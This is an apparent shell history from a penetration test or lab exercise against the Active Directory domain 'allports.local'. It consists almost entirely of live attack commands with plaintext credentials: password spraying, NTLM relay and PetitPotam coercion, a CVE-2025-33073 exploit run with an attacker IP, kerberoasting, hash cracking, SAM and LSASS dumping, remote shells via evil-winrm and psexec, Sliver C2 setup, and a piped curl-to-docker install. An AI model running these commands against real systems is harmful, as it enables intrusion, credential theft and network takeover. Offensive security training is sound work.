_raw: : 1762044293:0;nxc smb 10.0.1.20 -u rdavis -p rosdav50 -M coerce_plus --options


_raw:
: 1762044289:0;python3 -c '\
from smbprotocol.connection import Connection\
from smbprotocol.session import Session\
c = Connection(uuid.uuid4(), "10.0.1.6", 445)\
c.connect()\
s = Session(c, username="", password="")\
s.connect()\
print(s.server_os, s.server_os_version)\
c.disconnect()\
' 2>/dev/null || echo "SMB blocked or no null"


_raw: : 1762044282:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762044267:0;hashcat -m 3200 -a 0 lol.hash /usr/share/wordlists/rockyou.txt


_raw: : 1762044229:0;bash /usr/bin/kerberoast kerberoast.py


_raw: : 1762044050:0;sudo apt install docker-compose


_raw: : 1762044042:0;sudo apt install dockcker-compose


_raw: : 1762044028:0;nxc smb 10.0.1.6 -u users -p 1gyroscope --continue-on-success > brute


_raw: : 1762044010:0;sudo apt install docker.io


_raw: : 1762043965:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  yay password


_raw: : 1762043965:0;impacket-secretsdump -sam sam -system system LOCAL


_raw: : 1762043893:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --local-groups


_raw: : 1762043889:0;smbclient 10.0.1.6\NETLOGON -U lpeterson -p 'Sails@way!'


_raw: : 1762043879:0;smbclient 10.0.1.6/NETLOGON -U lpeterson -p 'Sails@way!'


_raw: : 1762043833:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  yay Sails@way!


_raw: : 1762043791:0;nxc smb 10.0.1.6 -u users -p IamTheCaptain --continue-on-success > brute


_raw: : 1762043717:0;cp url_gobust_results.txt url_gobusts_results.xml


_raw: : 1762043679:0;crackmapexec smb /home/pentester/Downloads/windows.txt -u '' -p ''


_raw: : 1762043651:0;mv url_gobust_results.txt ..


_raw: : 1762043619:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.6" -debug


_raw: : 1762043594:0;crackmapexec smb 10.0.1.6 -u default.txt -p 'Sails@way!' --continue-on-success


_raw: : 1762043580:0;crackmapexec smb 10.0.1.6 -u default.txt -p 'Sails@way!'


_raw: : 1762043511:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final Sails@way!


_raw: : 1762043497:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid Sails@way!


_raw: : 1762043291:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw: : 1762043260:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M obsolete


_raw: : 1762043253:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw: : 1762043178:0;curl -L https://ghst.ly/getbhce | docker-compose -f - up


_raw: : 1762043166:0;apt install docker-compose


_raw: : 1762043160:0;curl -L https://ghst.ly/getbhce | docker-compose -f - up


_raw: : 1762043081:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M ldap-checker


_raw: : 1762043078:0;crackmapexec smb windows.txt -u users.txt -p 'Sails@way!' > stuff2.txt


_raw: : 1762043042:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762043015:0;nxc smb 10.0.1.21 -u 'Administrator' -p 'IamTheCaptain' -k


_raw: : 1762043011:0;nxc smb 10.0.1.21 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762042992:0;evil-winrm -i 10.0.1.6 -u Admin -p 'IamTheCaptain'


_raw: : 1762042965:0;nxc smb 10.0.1.6 -u lpeterson  -p 'Sails@way!' --shares


_raw: : 1762042950:0;nxc smb 10.0.1.6 -u users -p users --no-bruteforce --continue-on-success > brute


_raw: : 1762042935:0;nxc smb 10.0.1.6 -u lpeterson  -p 'Sails@way!' --shares


_raw:
cd
ls
cat password.txt
gophish
ssh admin@10.0.1.20
ssh admin@10.0.1.20:445
ssh admin@10.0.1.20:22
ssh 10.0.1.20:22
ssh administrator@10.0.1.20
ssh administrator@10.0.1.21


_raw: : 1762042918:0;nxc smb 10.0.1.6 -u lpeterson  -p 'Sails@Way!' --shares


_raw: : 1762042883:0;python3 -m pipx install impacket


_raw: : 1762042882:0;crackmapexec smb /home/pentester/Downloads/windows.txt -u aphillips -p 'Sails@way!' --shares


_raw: : 1762042858:0;crackmapexec smb /home/pentester/Downloads/windows.txt -u Administrator -p 'Sails@way!' --shares


_raw: : 1762042839:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope --shares


_raw: : 1762042830:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --shares


_raw: : 1762042808:0;linWinPwn -t 10.0.1.6 -u aphillips -p 'Sails@way!'


_raw: : 1762042723:0;sudo find / -type d -iname "*bloodhound*" 2>/dev/null | grep -E "community|data|config|bh"\


_raw: : 1762042720:0;[200~sudo find / -type d -iname "*bloodhound*" 2>/dev/null | grep -E "community|data|config|bh"


_raw: : 1762042717:0;echo "47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" | base64 -d


_raw: : 1762042713:0;python3 PetitPotam.py 'WIN-WBWWWKTADZ8@80/bruh' 10.0.1.6 -u rdavis -p rosdav50


_raw: : 1762042700:0;sudo ls /var/lib/bloodhound\


_raw: : 1762042694:0;sudo rm -rf /var/lib/bloodhound/community\


_raw: : 1762042688:0;sudo systemctl stop bloodhound\


_raw: : 1762042669:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762042607:0;mv hashing.txt hashing.py


_raw: : 1762042589:0;cp shell.sh /home/pentester/shell.sh


_raw: : 1762042585:0;nxc smb Deckhand-02.allports.local -u rdavis -p rosdav50 --sam


_raw: : 1762042577:0;sudo apt install bloodhound -y\


_raw: : 1762042574:0;nxc smb Deckhand-01.allports.local -u rdavis -p rosdav50 --sam


_raw: : 1762042561:0;python3 CVE-2025-33073.py -u 'allports.local\rdavis' -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042556:0;sudo apt remove --purge bloodhound -y\


_raw: : 1762042550:0;nxc smb APT-DC-01.allports.local -u rdavis -p rosdav50 --sam


_raw: : 1762042546:0;sudo rm -rf /etc/bloodhound/


_raw: : 1762042546:0;[200~sudo rm -rf /var/lib/bloodhound/


_raw: : 1762042533:0;nxc smb APT-DC-01.allports.local -u rdavis -p rosdav50 -h


_raw: : 1762042528:0;nxc smb APT-DC-01.allports.local -u rdavis -p rosdav50


_raw: : 1762042517:0;nxc smb 10.0.1.20 -u 'adiaz11' -p 'Sails@way!' -k -M backup_operator


_raw: : 1762042515:0;python3 CVE-2025-33073.py -u 'allports.local\rdavis' -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target APT-DC-01.allports.local --target-ip 10.0.1.6 --cli-only


_raw: : 1762042505:0;nxc smb 10.0.1.21 -u 'adiaz11' -p 'Sails@way!' -k -M backup_operator


_raw: : 1762042497:0;nxc ldap APT-DC-01.allports.local -u rdavis -p rosdav50 --password-not-required


_raw: : 1762042497:0;nxc smb 10.0.1.21 -u 'adiaz11' -p 'Sails@way!' -k backup_operator


_raw: : 1762042490:0;python3 PetitPotam.py -u guest -p '' -d ALLPORT.TOURS localhost 10.0.6.1


_raw: : 1762042484:0;python3 PetitPotam.py -u guest -p '' -d ALLPORT.TOURS


_raw: : 1762042473:0;python3 CVE-2025-33073.py -u 'allports.local\rdavis' -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042468:0;nxc ldap APT-DC-01.allports.local -u rdavis -p rosdav50 -c All


_raw: : 1762042460:0;python3 PetitPotam.py localhost 10.0.1.21


_raw: : 1762042457:0;nxc ldap APT-DC-01.allports.local -u rdavis -p rosdav50 -h


_raw: : 1762042455:0;nxc ldap APT-DC-01.allports.local -u rdavis -p rosdav50 -M


_raw: : 1762042447:0;python3 CVE-2025-33073.py -u 'allports.local\rdavis' -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042447:0;nxc ldap APT-DC-01.allports.local -u rdavis -p rosdav50 --gmsa


_raw: : 1762042447:0;python3 PetitPotam.py localhost 10.0.1.19


_raw: : 1762042438:0;python3 CVE-2025-33073.py -u allports.local/rdavis -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042435:0;python3 PetitPotam.py localhost 10.0.1.20


_raw: : 1762042429:0;python3 CVE-2025-33073.py -u allports.local\rdavis -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042426:0;nxc ldap APT-DC-01.allports.local --user rdavis --password rosdav50 --gmsa


_raw: : 1762042416:0;python3 PetitPotam.py localhost 10.0.1.6


_raw: : 1762042399:0;python3 CVE-2025-33073.py -u allports.local\rdavis -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762042369:0;ntlmrelayx.py -tf targets.txt -smb2support -i


_raw: : 1762042360:0;impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/rdavis -request


_raw: : 1762042313:0;nxc smb -u 'adiaz11' -p 'Sails@way!'-M lsassy


_raw: : 1762042277:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M printnightmare


_raw: : 1762042269:0;sudo /opt/bloodhound-ce/bhapi/bh_user create-admin\


_raw: : 1762042252:0;sudo apt install bloodhound


_raw: : 1762042242:0;sudo /opt/bloodhound-ce/bhapi/bh_user create-admin\


_raw: : 1762042232:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M get-userPassword


_raw: : 1762042213:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.local/rdavis -request


_raw: : 1762042207:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M get-desc-users


_raw: : 1762042196:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.local/rdavis


_raw: : 1762042171:0;sudo bh_user create-admin\


_raw: : 1762042147:0;sudo systemctl status bhce-bhapi\


_raw: : 1762042142:0;impacket-GetUserSPNs APT-DC-01.allports.local\rdavis:rosdav50 -target-domain allports.local -dc-ip 10.0.1.6 -h


_raw: : 1762042138:0;python3 krbrelayx.py -t 10.0.1.6 --delegate-access


_raw: : 1762042137:0;impacket-GetUserSPNs APT-DC-01.allports.local\rdavis:rosdav50 -target-domain allports.local -dc-ip 10.0.1.6


_raw: : 1762042108:0;python3 krbrelayx.py --help


_raw: : 1762042105:0;linWinPwn -t 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw: : 1762042099:0;nxc ldap APT-DC-01.allports.local -u rdavis -p 'rosdav50' --kerberoasting kerb


_raw: : 1762042093:0;nxc ldap APT-DC-01.allports.local -u rdavis -p 'rosdav50' --kerberoast


_raw: : 1762042091:0;linWinPwn -t 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw:
nc 10.0.1.10 6768
sliver
cd ..
ls
sliver
sliver-server
cd tools
ls
cat sliver.sh
chmod +x sliver.sh
./sliver.sh
ipa
ip a
./sliver.sh
ls
sliver
clear
sliver-server
sliver


_raw: : 1762042070:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M webdav


_raw: : 1762042033:0;nxc smb 10.0.1.20 -u 'guest' -p '' -k -M powershell_history


_raw: : 1762042015:0;gcc -o regreSSHion exploit.c -lpthread


_raw: : 1762041993:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1762041987:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1762041966:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1762041959:0;hashcat -m 3200 hash2.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762041909:0;python3 openssh-cve-discovery.py --cidr 10.0.1.0/24


_raw: : 1762041887:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --sccm disk


_raw: : 1762041868:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --loggedon-users


_raw: : 1762041858:0;python3 -m pip install nmap


_raw: : 1762041857:0;nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M uac


_raw: : 1762041844:0;git clone https://github.com/David-M-Berry/openssh-cve-discovery


_raw: : 1762041810:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --sessions


_raw: : 1762041687:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --find-delegation


_raw: : 1762041665:0;mv blood.zip /home/pentester


_raw: : 1762041539:0;crackmapexec smb 10.0.1.6 -u users_list_allports.local.txt -p 'Sails@way!' > stuff.txt


_raw:
myspl -h
mysql -h
mysql
mysql 10.0.1.15:3306
mysql root@10.0.1.15:3306
mysql
mysql help
mysql -h 10.0.1.15
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -p
mysql -h 10.0.1.15 -u deckhand-02
mysql -h 10.0.1.15 -u deckhand-01
mysql -h 10.0.1.15 -u deckhand-03
mysql -h 10.0.1.15 -u deckhand-04
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -p
hydra -t 28 -f -V -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15 mysql
hydra -t 28 -f -V -l root -P /usr/share/wordlists/rockyou.txt mysql://10.0.1.15


_raw: : 1762041502:0;crackmapexec smb windows.txt -u users_list_allports.local.txt -p 'Sails@way!' > stuff.txt


_raw: : 1762041409:0;hashcat -m 3200 hash2.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762041403:0;hashcat -m 3200 hash2.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762041389:0;bloodhound-python -u rdavis -p rosdav50 -dc 10.0.1.6 -ns allports.tours -c all


_raw: : 1762041378:0;bloodhound-python -u rdavis -p rosdav50 -dc 10.0.1.6 -d allports.tours -c all


_raw: : 1762041366:0;nxc smb 10.0.1.6 -u users -p 'Sails@way!' --continue-on-success > brute


_raw: : 1762041356:0;nxc smb 10.0.1.6 -u users -p Sails@way! --continue-on-success > brute


_raw: : 1762041309:0;bloodhound-python -u rdavis -p rosdav50 -ns 10.0.1.6 -dc allports.tours -c all


_raw: : 1762041284:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M printnightmare


_raw: : 1762041274:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M printerbug


_raw: : 1762041249:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762041212:0;bloodhound-python -u rdavis -p rosdav50 -ns allports.tours -dc 10.0.1.6


_raw: : 1762041204:0;bloodhound-python -u rdavis -p rosdav50 -ns allports.tours -dc-ip 10.0.1.6


_raw: : 1762041194:0;nxc smb 10.0.1.20 -u 'svc_stabilizer' -p '1gyroscope' -k -X whoami


_raw: : 1762041188:0;nxc smb 10.0.1.20 -u 'svc_stabilizer' -p '1gyroscope' -X whoami -k


_raw: : 1762041183:0;nxc smb 10.0.1.20 -u 'svc_stabilizer' -p '1gyroscope' -X whoami


_raw:
crackmapexec smb -h
rpcclient -U "" -N 10.0.1.6
clear
dig apt.local
dig apt.com
curl -h http://atp.com
curl -h
curl -v http://apt.com
curl -v http://apt.local
clear


_raw: : 1762041049:0;nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound -c all


_raw: : 1762041030:0;nxc ldap allports.local -u rdavis -p 'rosdav50' --bloodhound -c all


_raw: : 1762041018:0;impacket-smbserver share . -smb2support


_raw: : 1762041014:0;nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound -c all -ns allports.local


_raw: : 1762040982:0;nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound -c all


_raw: : 1762040970:0;smbclient -L //10.0.1.20 -W allports.local -U rdavis


_raw: : 1762040961:0;smbclient -L //10.0.1.20 -D allports.local -U rdavis


_raw: : 1762040883:0;python3 CVE-2025-33073.py -u 'allports.local\rdavis' -p 'rosdav50' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn apt-dc-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762040872:0;nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound -c all


_raw: : 1762040848:0;nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound ---collection All


_raw: : 1762040837:0;hashcat -m 3200 hash1.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762040828:0;nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound.zip -c all


_raw: : 1762040825:0;hashcat hash1.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762040820:0;nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --bloodhound -c all


_raw: : 1762040816:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./


_raw: : 1762040804:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'


_raw: : 1762040776:0;evil-winrm -i 10.0.1.21 -u Administrator -p Administrator


_raw: : 1762040721:0;git clone https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1762040718:0;git cloen https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1762040714:0;impacket-smbserver share . -smb2server


_raw: : 1762040708:0;crackmapexec smb windows.txt -u users_list_allports.local.txt -p 'Sails@way!' > stuff.txt


_raw: : 1762040680:0;sudo nano /etc/bhapi/bhapi.json


_raw: : 1762040662:0;impacket-smbserver share $(.) -smb2support -user user -password password


_raw: : 1762040643:0;impacket-smbserver share $(.) -smb2support


_raw: : 1762040641:0;crackmapexec smb windows.txt -u users_list_allports.local.txt -p 'Sails@way!'


_raw: : 1762040625:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --asreproast asrep


_raw: : 1762040623:0;impacket-smbserver share $(pwd) -smb2support


_raw: : 1762040568:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --bloodhound -c all


_raw: : 1762040544:0;sudo nano /etc/bhapi/bhapi.json


_raw: : 1762040490:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto >test.txt


_raw: : 1762040486:0;rm -rf linWinPwn_allports.local


_raw: : 1762040457:0;hashcat -a 0 kerb /usr/share/wordlists/rockyou.txt


_raw: : 1762040452:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto >test.txt


_raw: : 1762040446:0;sudo apt install wappalyzer


_raw: : 1762040441:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoasting kerb


_raw: : 1762040438:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoasting


_raw: : 1762040416:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --users > users


_raw: : 1762040354:0;python2 ../../Downloads/windapsearch_py2.py  -U --dc-ip 10.0.1.6 -u REDACTED_EMAIL -p rdav50 --da


_raw: : 1762040348:0;pip install ldap --break-system-packages


_raw: : 1762040330:0;echo 'dGFidWxhcl9zZWFyY2g=' | base64 -d


_raw: : 1762040309:0;python2 ../../Downloads/windapsearch_py2.py  -U --dc-ip 10.0.1.6 -u REDACTED_EMAIL -p rdav50 --da


_raw: : 1762040300:0;python3 ../../Downloads/windapsearch_py2.py  -U --dc-ip 10.0.1.6 -u REDACTED_EMAIL -p rdav50 --da


_raw: : 1762040226:0;rpcclient -U "rdavis" --dc-ip 10.0.1.6 -u REDACTED_EMAIL -p rdav50 --da


_raw: : 1762040196:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw: : 1762040163:0;python3 PetitPotam.py localhost 10.0.1.6


_raw: : 1762040141:0;git clone https://github.com/topotam/PetitPotam


_raw: : 1762040134:0;git clone git clone https://github.com/topotam/PetitPotam


_raw: : 1762040116:0;python3 psexec.py allport.local/rdavis:'rosdav50'@10.0.1.6


_raw: : 1762040105:0;nxc smb 10.0.1.6 -u users -p 'IamTheCaptain'


_raw: : 1762040067:0;impacket-GetNPUsers -usersfile users  -request -format hashcat -outputfile asrep -dc-ip 10.0.1.6 'allports.local/'\


_raw: : 1762040022:0;python3 psexec.py allport.local/rdavis:'rosdav50' @10.0.1.6


_raw: : 1762039989:0;nxc smb 10.0.1.6 -u tus -p tus --no-bruteforce --continue-on-success


_raw: : 1762039964:0;nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --bloodhound -c all --dns-server 10.0.1.6


_raw: : 1762039948:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762039909:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName >  objects.txt


_raw: : 1762039904:0;crackmapexec smb /home/pentester/Downloads/windows.txt -u aphillips -p 'Sails@way!' --shares


_raw: : 1762039899:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName | objects.txt


_raw: : 1762039879:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762039840:0;nxc smb APT-DC-01.allports.local -u rdavis -p 'rosdav50' -h


_raw: : 1762039838:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final rosdav50


_raw: : 1762039827:0;nxc smb APT-DC-01.allports.local -u rdavis -p 'rosdav50' --users


_raw: : 1762039818:0;crackmapexec smb /home/pentester/Downloads/windows.txt -u users_list_allports.local.txt -p 'Sails@way!'


_raw: : 1762039807:0;nxc smb APT-DC-01.allports.local -u rdavis -p 'rosdav50' --shares


_raw: : 1762039796:0;nxc smb 10.0.1.6 -u admin -p password --users


_raw: : 1762039771:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final rosdav


_raw: : 1762039743:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final rosdav


_raw: : 1762039691:0;gobuster dir --url http://chat.allports.tours/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 169


_raw: : 1762039675:0;gobuster dir --url http://chat.allports.tours/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762039661:0;linWinPwn -t 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -o ./ --auto


_raw: : 1762039653:0;gobuster dir --url https://chat.allports.tours/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762039630:0;evil-winrm -i 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'


_raw: : 1762039620:0;sudo responder -I eth0 --lm --disable-ess


_raw: : 1762039614:0;sudo sed -i '10.0.1.11 chat.allports.tours/d' /etc/hosts


_raw: : 1762039587:0;ntlmrelayx.py -tf targets.txt -smb2support -i


_raw: : 1762039579:0;evil-winrm -i 10.0.1.6 -u 'SVC_STABALIZE' -p '1gyroscope'


_raw: : 1762039570:0;evil-winrm -v 10.0.1.6 -u 'SVC_STABALIZE' -p '1gyroscope'


_raw: : 1762039568:0;evil-winrm -v 10.0.1.6 -u 'SVC_STABALIZE' -p '1gyroscope


_raw: : 1762039492:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1762039488:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i 10.0.1.6


_raw: : 1762039484:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i a


_raw: : 1762039477:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1762039476:0;bloodhound-python -d allports.local -u 'rdavis'\@allports.local -p 'rosdav50' --auth-method ntlm -c all,LoggedOn -ns 10.0.1.6 --dns-timeout 10  -dc APT-DC-01.allports.local


_raw: : 1762039475:0;sudo responder -I eth0 --lm --disable-ess


_raw: : 1762039445:0;python3 impacket-ntlmrelayx.py -tf targets.txt -smb2support


_raw: : 1762039430:0;impacket-ntlmrelayx -tf targets.txt -smb2support


_raw: : 1762039420:0;wfuzz -s 0.1 --hh 4831 --hs "An unexpected error occurred" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ


_raw: : 1762039392:0;hashcat -m 3200 '$2a$10$9oXVMhs7Nw1BD3oathy0Oefsz.o9CDGeXqq/XuIFeGfiGLeLOJ0jG'


_raw: : 1762039371:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1762039343:0;wfuzz -s 1 --hh 4831 --hs "An unexpected error occurred" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ


_raw: : 1762039244:0;wfuzz --hh 4831 --hs "An unexpected error occurred" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ


_raw: : 1762039216:0;getent hosts chat.allports.tours\


_raw: : 1762039188:0;wfuzz --hs "An unexpected error occurred" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ


_raw: : 1762039159:0;bloodhound-python -d allports.local -u 'rdavis'\@allports.local -p 'rosdav50' --auth-method ntlm -c all,LoggedOn -ns 10.0.1.6 --dns-timeout 10  -dc APT-DC-01.allports.local


_raw: : 1762039136:0;wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ --hs "An unexpected error occurred"


_raw: : 1762039135:0;sudo /usr/share/responder/Responder.py -I eth0 -dvw


_raw: : 1762039121:0;wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ


_raw: : 1762039115:0;/usr/share/responder/Responder.py -I eth0 -dvw


_raw: : 1762039113:0;/usr/share/responder/Responder.py -I eth0 -dvi


_raw: : 1762039105:0;echo '10.0.1.11 chat.allports.tours' | sudo tee -a /etc/hosts\


_raw: : 1762039102:0;wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://penny.allports.local/FUZZ --hs "Oops! Something Unexpected Occurred"


_raw: : 1762039069:0;bloodhound-python -d APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -ns 10.0.1.6 -c all


_raw: : 1762039000:0;mousepad /usr/share/responder/Responder.py --help


_raw: : 1762038995:0;mousepad /usr/share/responder/Responder.py  eth0 -dvw


_raw: : 1762038983:0;mousepad /usr/share/responder/Responder.py -I eth0 -dvw


_raw:
: 1762038953:0;curl -sS --resolve chat.allports.tours:80:10.0.1.11 \\
  -H 'Content-Type: application/json' \\
  -X POST http://chat.allports.tours/api/chat \\
  -d '{"input":"test","model":"gpt-4o-mini"}' -D - | sed -n '1,160p'\


_raw: : 1762038918:0;curl -s --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/api/status | jq . -C\


_raw: : 1762038911:0;curl -s --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/api/config | jq . -C\


_raw: : 1762038899:0;curl -s --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/api/models | jq . -C\


_raw:
: 1762038876:0;curl -s --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/assets/index.td6HexrO.js \\
  | grep -Eo "(/api/[^\"'\\ )>]+|https?://[^\"'\\ )>]+|openai|replicate|model|token|admin|dashboard|fetch\\(|new WebSocket|wss?://" \\
  | sed -E 's/^\\.//g' \\
  | sort -u


_raw: : 1762038853:0;curl -s --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/assets/index.td6HexrO.js | sed -n '1,200p'\


_raw:
pwd
cd Pictures
ls
scp Administrator@129.21.249.93:21183
scp * Administrator@129.21.249.93:21183/C:\Users\Administrator\Desktop
ll
rm 10.0.1.30vulnScan-1
ll
scp * Administrator@129.21.249.93:21183/C:/User/Administrator/Desktop
pwd
clear
nmap -scV -p- 10.0.1.6
nmap -sCV -p- 10.0.1.6
rpcclient -U "" -N 10.0.1.6
enum4linux -P 10.0.1.6 -oA allport
ls
ll
ldapsearch
ldapsearch -h
ldapsearch -H 10.0.1.6 -x -b "DC=APT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
ldapsearch -H http://allports.tours -x -b "DC=APT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
enum4linux -U 10.0.1.6 | grep "user:" | cut -f2 -d "[" | cut -f1 -d"]"
rpcclient -U "" -N 10.0.1.6
d ..
./windapsearch.py -dc-ip 10.0.1.6 -u "" -U


_raw:
pwd
mkdir nmap scans
ls
pwd
ll
rm -r nmap
rm scans
rm -r scans
ls
mkdir nmapScans
cd nmapScans
nmap -sCV -p- 10.0.1.30 -oA initial-scan
clear
